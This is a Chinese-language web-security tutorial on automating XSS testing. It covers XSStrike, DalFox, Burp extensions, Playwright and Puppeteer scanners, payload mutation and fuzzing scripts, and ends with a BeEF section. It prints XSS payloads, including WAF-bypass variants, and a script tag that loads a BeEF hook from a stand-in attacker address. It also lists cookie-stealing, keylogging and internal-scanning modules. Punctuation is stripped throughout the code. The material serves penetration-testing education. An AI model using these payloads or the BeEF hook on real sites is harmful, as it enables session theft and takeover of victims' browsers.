WEB安全之XSS专题:自动化工具运用与开发
大家好你们可以叫我凌是个16岁的网络安全学习者。今天我们来聊聊自动化工具的运用废话不多说我们直接开始吧开始前依旧提供链接链接https://pan.quark.cn/s/0e84811053d1?pwdtMwG提取码tMwG手工测试虽然精准但在面对大量参数、复杂场景时效率太低。自动化工具可以帮助我们快速扩大测试覆盖面发现潜在漏洞再结合手工验证达到事半功倍的效果。本章将介绍几款主流的 XSS 自动化工具并深入讲解如何编写自定义脚本实现更灵活的测试。XSStrike 深入XSStrike是一款功能强大的 XSS 检测工具它不仅能发送 Payload还能分析上下文、生成绕过 Payload 并探测 WAF核心特性特性说明上下文分析通过分析响应判断输出点位置HTML 标签内、属性中、JS 代码中等Payload 生成器根据上下文自动生成合适的 PayloadWAF 探测发送特定 Payload 判断是否存在 WAF 及其类型多线程扫描支持多线程提高效率支持 GET/POST可测试 URL 参数和 POST 表单基本用法测试单个 URLpython xsstrike.py -u http://target.com/page.php?id1测试 POST 请求python xsstrike.py -u http://target.com/search.php --data qtest从文件读取多个目标python xsstrike.py --seeds urls.txt指定参数名python xsstrike.py -u http://target.com/page.php?qtest --params q分析 Payload 生成逻辑XSStrike 的 Payload 生成器会根据上下文动态调整。例如如果检测到输出点在 HTML 标签内部它会生成闭合标签的 Payload如果在 JavaScript 字符串中它会生成字符串闭合 Payload。# 假设输出点在 input value[output] 中 XSStrike 会生成 img srcx onerroralert(1) # 从而闭合 value 属性注入新标签自定义规则扩展XSStrike 的 Payload 存储在 core/payloads.py 中可以根据需要添加新的 Payload 或绕过技巧。例如添加一个针对特定 WAF 的 Payload# 在 payloads.py 的 XSS 列表中添加 XSS_PAYLOADS [ # ... svg/onloadalert(1), mathmtextscriptalert(1)/script/mtext/math, # 自定义 Payload img srcx onerroreval(atob(\YWxlcnQoMSk\)) # base64 编码的 alert(1) ]局限性·对 DOM 型 XSS 检测能力有限因为它需要执行 JavaScript而 XSStrike 是静态分析·可能遗漏需要用户交互的触发点如点击按钮·某些复杂业务逻辑无法覆盖如多步骤表单DalFoxDalFox 是一款基于 Go 语言开发的 XSS 扫描器支持 DOM 解析和动态测试对现代 Web 应用更友好。核心特性特性说明DOM 解析内置 headless 浏览器可以执行 JavaScript检测 DOM 型 XSS动态测试模拟点击、输入等操作触发隐藏的 XSS多格式输入支持 URL、文件、Burp 请求包WAF 检测识别 WAF 类型并尝试绕过漏洞验证自动验证漏洞减少误报基本用法扫描单个 URLdalfox url http://target.com/page.php?id1从文件读取多个 URLdalfox file urls.txt使用 Burp 请求包dalfox request req.txt启用 DOM 解析headlessdalfox url http://target.com/page.php?id1 --headless高级选项指定参数dalfox url http://target.com/page.php?id1nametest --param id --param name自定义 Payload 文件dalfox url http://target.com/page.php?id1 --payload-file my_payloads.txt忽略某些参数dalfox url http://target.com/page.php?id1token123 --skip-param token输出结果到文件dalfox url http://target.com/page.php?id1 -o result.txt与 XSStrike 对比对比项XSStrikeDalFox编程语言PythonGoDOM 支持静态分析headless 动态执行速度较慢快适用场景传统反射型 XSS现代应用含 DOM 型 XSS实战案例假设一个页面通过 JavaScript 动态将 URL 参数插入到 DOM 中let params new URLSearchParams(location.search); document.getElementById(output).innerHTML params.get(msg);使用 DalFox 的 headless 模式可以检测到这种 DOM 型 XSSdalfox url http://target.com/page.php?msgtest --headlessDalFox 会启动浏览器访问页面执行 JavaScript并尝试注入 Payload观察是否弹窗。KnoxssKnoxss 是一个在线 XSS 测试平台提供免费的快速验证服务有一定限制。特点·无需安装直接在网页上测试·支持多种 Payload 编码·可查看请求和响应详情·适合快速验证漏洞是否存在使用方法1. 访问 https://knoxss.me2. 输入目标 URL 和参数名3. 选择 Payload 类型普通、编码、过滤绕过等4. 点击“Scan”等待结果局限性·免费版有次数限制·不能测试需要登录的页面除非用付费版·无法处理复杂业务逻辑Burp插件深度联动Burp Suite 是渗透测试的瑞士军刀配合插件可以大幅提升 XSS 测试效率。使用 Bambda 过滤器快速筛选可疑参数Bambda 是 Burp 的 Java 脚本接口可以编写自定义过滤器快速从大量请求中筛选出可能包含 XSS 的参数。示例 Bambda仅显示包含 的响应if (!requestResponse.hasResponse()) return false; String response new String(requestResponse.response()); return response.contains() response.contains();将这段代码粘贴到 Burp 的“Bambda”窗口即可过滤出可能反射了尖括号的请求。Jython 脚本实现复杂逻辑检测Jython 可以在 Burp 中运行 Python 脚本实现自定义的主动扫描检查器。示例编写一个简单的 XSS 检查器扫描所有参数并发送 Payload。from burp import IBurpExtender, IScannerCheck, IScanIssue from java.util import ArrayList import urllib class BurpExtender(IBurpExtender, IScannerCheck): def registerExtenderCallbacks(self, callbacks): self._callbacks callbacks self._helpers callbacks.getHelpers() callbacks.setExtensionName(XSS Scanner) callbacks.registerScannerCheck(self) print(XSS Scanner loaded) def doPassiveScan(self, baseRequestResponse): return None def doActiveScan(self, baseRequestResponse, insertionPoint): # 构建测试 Payload payloads [scriptalert(1)/script, img srcx onerroralert(1)] issues [] for payload in payloads: checkRequest insertionPoint.buildRequest(payload) checkResponse self._callbacks.makeHttpRequest( baseRequestResponse.getHttpService(), checkRequest) responseInfo self._helpers.analyzeResponse(checkResponse) body checkResponse.tostring() if payload in body: issues.append(self._createIssue(baseRequestResponse, payload)) return issues if issues else None def _createIssue(self, baseRequestResponse, payload): return self._callbacks.applyMarkers( self._helpers.createScanIssue( baseRequestResponse.getHttpService(), self._helpers.analyzeRequest(baseRequestResponse).getUrl(), [baseRequestResponse], XSS Vulnerability, A cross-site scripting vulnerability was detected with payload: payload, High, Certain ) ) def consolidateDuplicateIssues(self, existingIssue, newIssue): return -1配合 Scanner 进行主动扫描Burp 的主动扫描可以自动爬取网站并测试所有参数配合自定义的 Payload 列表可以快速发现 XSS。配置步骤1. 在 Burp 的“Scanner” - “Insertion point”中启用所有参数类型。2. 在“Scanner” - “Payloads”中添加自定义 XSS Payload 列表。3. 开始主动扫描Burp 会自动测试每个参数。自定义脚本开发当现成工具无法满足需求时编写自定义脚本可以突破限制实现更灵活的测试。Python Selenium/Puppeteer/Playwright 构建动态扫描器对于需要执行 JavaScript 才能触发的 XSS可以使用 headless 浏览器模拟真实用户。Playwright 示例Pythonfrom playwright.sync_api import sync_playwright import time def test_xss(url, param_name, payload): with sync_playwright() as p: browser p.chromium.launch(headlessFalse) # 可设 headlessTrue page browser.new_page() # 监听 alert 事件 page.on(dialog, lambda dialog: print(fAlert triggered: {dialog.message})) # 构造测试 URL test_url url.replace(FUZZ, payload) # 假设参数位置用 FUZZ 标记 page.goto(test_url) time.sleep(2) # 等待页面执行 browser.close()使用示例test_xss(http://target.com/search?qFUZZ, q, scriptalert(1)/script)Puppeteer 示例Node.js:const puppeteer require(puppeteer); (async () { const browser await puppeteer.launch({ headless: false }); const page await browser.newPage(); page.on(dialog, async dialog { console.log(Alert:, dialog.message()); await dialog.dismiss(); }); await page.goto(http://target.com/search?qscriptalert(1)/script); await browser.close(); })();基于 AST 的 Payload 生成器AST抽象语法树可以分析 JavaScript 代码的结构并自动生成变异的 Payload用于绕过 WAF。简单思路1. 解析已知 Payload 的 AST。2. 随机替换节点如将 alert 换成 prompt、confirm。3. 插入垃圾代码如无意义的变量声明。4. 重新生成代码字符串作为 Payload 发送。Python 示例使用 esprima 解析 JSimport esprima import random def mutate_payload(payload): # 解析 AST ast esprima.parseScript(payload) # 随机修改 AST 节点这里仅示例实际需遍历树 # 例如将函数名 alert 改为 confirm def walk(node): if node.type CallExpression and node.callee.name alert: node.callee.name random.choice([confirm, prompt]) for key in node: if isinstance(node[key], dict): walk(node[key]) elif isinstance(node[key], list): for item in node[key]: if isinstance(item, dict): walk(item) walk(ast) # 将 AST 转回代码需要 escodegen import escodegen return escodegen.generate(ast) # 示例 payload scriptalert(1)/script mutated mutate_payload(payload) print(mutated) # 可能输出 scriptconfirm(1)/scriptFuzzing 字典生成器收集各种 XSS Payload 变体生成字典用于模糊测试。import itertools def generate_payloads(base_payloads, encodings): 生成组合 Payload for payload in base_payloads: for encoding in encodings: yield encoding(payload) def html_escape(payload): return payload.replace(, lt;).replace(, gt;) def url_encode(payload): return requests.utils.quote(payload) def js_escape(payload): return payload.replace(, \\).replace(, \\) # 使用 base [scriptalert(1)/script, img srcx onerroralert(1)] encodings [lambda x: x, html_escape, url_encode, js_escape] for p in generate_payloads(base, encodings): print(p)机器学习 WAF 探测思路可以训练一个简单的分类器判断响应是否被 WAF 拦截如根据状态码、响应内容中的关键词。但实际应用中机器学习更多用于学术研究实战中规则匹配更常见。Tampermonkey 用户脚本辅助手工测试编写 Tampermonkey 脚本可以在浏览器中自动修改请求或注入 Payload辅助手工测试。示例自动给所有链接添加 XSS 参数测试。// UserScript // name XSS Helper // namespace http://tampermonkey.net/ // version 0.1 // description Add XSS test parameters to all links // author You // match *://*/* // grant none // /UserScript (function() { use strict; document.querySelectorAll(a).forEach(link { let url new URL(link.href); if (!url.searchParams.has(xss_test)) { url.searchParams.set(xss_test, scriptalert(1)/script); link.href url.toString(); } }); })();BeEF实战BeEFBrowser Exploitation Framework是一个专注于浏览器端的渗透测试框架可以将 XSS 漏洞转化为浏览器控制权。部署与 hook 方式1.启动 BeEF./beef默认访问 http://localhost:3000/ui/panel用户名密码 beef。2.生成 hook 脚本BeEF 提供一个 hook.js 文件地址为 http://your-ip:3000/hook.js。3.在 XSS 漏洞中加载 hook[html]script srchttp://your-ip:3000/hook.js/script当受害者访问页面时浏览器就会被 hook 到 BeEF 控制台。模块利用与扩展BeEF 提供了大量模块可以执行以下操作模块类别功能示例信息收集获取浏览器版本、已安装插件、屏幕分辨率窃取数据窃取 Cookie、键盘记录、截图网络扫描对内网进行端口扫描持久化安装持久化脚本如使用 setInterval 重新 hook漏洞利用针对特定浏览器的漏洞如旧版 IE 的 RCE使用示例1. 在 BeEF 控制台选择被 hook 的浏览器。2. 在“Commands”选项卡中搜索模块如“Get Cookies”。3. 点击“Execute”运行结果会返回自定义模块开发BeEF 模块由 Ruby 编写放在 modules/ 目录下。一个简单的模块结构# modules/example/example.rb class Example BeEF::Core::Command def self.options configuration BeEF::Core::Configuration.instance return [ {name message, type textarea, value Hello, description Message to alert} ] end def post_execute content {} content[result] datastore[result] save content end end对应的 JavaScript 文件command.jsbeef.execute(function() { var message % message %; alert(message); beef.net.send(% command_id %, beef.result({result: ok})); });